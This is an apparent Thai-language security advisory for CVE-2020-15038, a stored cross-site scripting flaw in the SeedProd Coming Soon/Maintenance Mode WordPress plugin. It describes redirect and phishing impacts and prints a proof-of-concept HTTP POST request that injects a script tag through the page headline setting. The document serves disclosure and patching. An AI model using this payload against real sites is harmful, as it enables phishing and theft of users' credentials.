หน้าเร็วๆ นี้ ภายใต้โหมดการก่อสร้างและบำรุงรักษาโดยปลั๊กอิน SeedProd สำหรับ WordPress เวอร์ชัน 5.1.0 และต่ำกว่า พบว่ามีความเสี่ยงต่อการจัดเก็บ XSS ในขณะที่ฉันกำลังตรวจสอบปลั๊กอิน ปลั๊กอินเวอร์ชัน 5.1.2 พร้อมการปรับปรุงการล้างข้อมูลออกเมื่อวันที่ 24 มิถุนายน 2020
รหัส CVE: CVE-2020-15038
สรุป
หน้าเร็วๆ นี้ ภายใต้โหมดการก่อสร้างและบำรุงรักษาโดย SeedProd เป็นปลั๊กอิน WordPress ยอดนิยมที่มีการติดตั้งมากกว่า 1 ล้านครั้ง พบว่ามีความเสี่ยงต่อช่องโหว่ Cross-Site Scripting (XSS) ที่เก็บไว้ XSS เป็นช่องโหว่ประเภทหนึ่งที่ผู้โจมตีสามารถใช้ประโยชน์จากการกระทำที่เป็นอันตรายต่างๆ เช่น ขโมยคุกกี้เซสชันของเหยื่อหรือข้อมูลรับรองการเข้าสู่ระบบ ดำเนินการตามอำเภอใจในนามของเหยื่อ บันทึกการกดแป้นพิมพ์ และอื่นๆ
ผลกระทบ
แม้ว่าจะมีหลายวิธีที่ผู้โจมตีสามารถดำเนินการที่เป็นอันตรายโดยใช้ช่องโหว่นี้ มาดูสองวิธีกัน
- การเปลี่ยนเส้นทาง :
หากผู้โจมตีใช้ช่องโหว่ดังกล่าว พวกเขาจะสามารถใช้ XSS payload เพื่อทำให้เกิดการเปลี่ยนเส้นทาง เมื่อใดก็ตามที่นักพัฒนาเปิดใช้งานโหมดการบำรุงรักษา ผู้ใช้ที่เข้าชมไซต์จะถูกเปลี่ยนเส้นทางไปยังโดเมนภายใต้การควบคุมของผู้โจมตี ซึ่งอาจ ทำให้มีลักษณะเหมือนกับเว็บไซต์เดิมที่มีแบบฟอร์มเข้าสู่ระบบเพื่อให้ผู้ใช้ส่งข้อมูลประจำตัว หากผู้ใช้ส่งข้อมูลรับรองโดยไม่สังเกตเห็นโดเมนที่เปลี่ยนแปลง บัญชีของพวกเขาจะถูกบุกรุก
- ฟิชชิง :
ในทำนองเดียวกัน ผู้โจมตีสามารถใช้เพย์โหลดเพื่อสร้างแบบฟอร์มการเข้าสู่ระบบในหน้าโหมดเร็วๆ นี้/โหมดบำรุงรักษา โดยพยายามหลอกล่อผู้ใช้ที่ไม่สงสัยให้ป้อนข้อมูลประจำตัว
ช่องโหว่
ฟิลด์พาดหัวใต้ส่วนการตั้งค่าหน้าพร้อมกับฟิลด์อื่น ๆ ในการตั้งค่าปลั๊กอินพบว่ามีความเสี่ยงต่อ XSS ที่จัดเก็บไว้ ซึ่งจะถูกเรียกใช้เมื่อหน้าเร็วๆ นี้แสดงขึ้น (ทั้งในโหมดแสดงตัวอย่างและใช้งานจริง)
POST /wp-admin/options.php HTTP/1.1
Host: localhost:10004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost:10004/wp-admin/admin.php?page=seed_csp4
Content-Type: application/x-www-form-urlencoded
Content-Length: 636
Origin: https://localhost:10004
Connection: close
Cookie: ...
option_page=seed_csp4_settings_content&action=update&_wpnonce=faced0b8ff&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dseed_csp4&seed_csp4_settings_content%5Bstatus%5D=1&seed_csp4_settings_content%5Blogo%5D=&seed_csp4_settings_content%5Bheadline%5D=%3Cscript%3Ealert%28%22Stored+XSS+in+Page+Headline%22%29%3C%2Fscript%3E&seed_csp4_settings_content%5Bdescription%5D=Proof+of+Concept&seed_csp4_settings_content%5Bfooter_credit%5D=0&submit=Save+All+Changes&seed_csp4_settings_content%5Bfavicon%5D=&seed_csp4_settings_content%5Bseo_title%5D=&seed_csp4_settings_content%5Bseo_description%5D=&seed_csp4_settings_content%5Bga_analytics%5D=
ไทม์ไลน์
รายงานช่องโหว่ไปยังทีม SeedProd เมื่อวันที่ 22 มิถุนายน 2020
เวอร์ชัน 5.1.2 ที่มีการแก้ไขช่องโหว่เผยแพร่เมื่อวันที่ 24 มิถุนายน 2020
คำแนะนำ
ขอแนะนำอย่างยิ่งให้อัปเดตปลั๊กอินเป็นเวอร์ชันล่าสุด
ข้อมูลอ้างอิง
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15038
- https://nvd.nist.gov/vuln/detail/CVE-2020-15038
- https://wordpress.org/plugins/coming-soon/#developers
- https://wpvulndb.com/vulnerabilities/10283
สำหรับแนวทางปฏิบัติด้านความปลอดภัยที่ดีที่สุด คุณสามารถทำตามคำแนะนำด้านล่าง:
- คู่มือความปลอดภัย WordPress
- WordPress Hack และการกำจัดมัลแวร์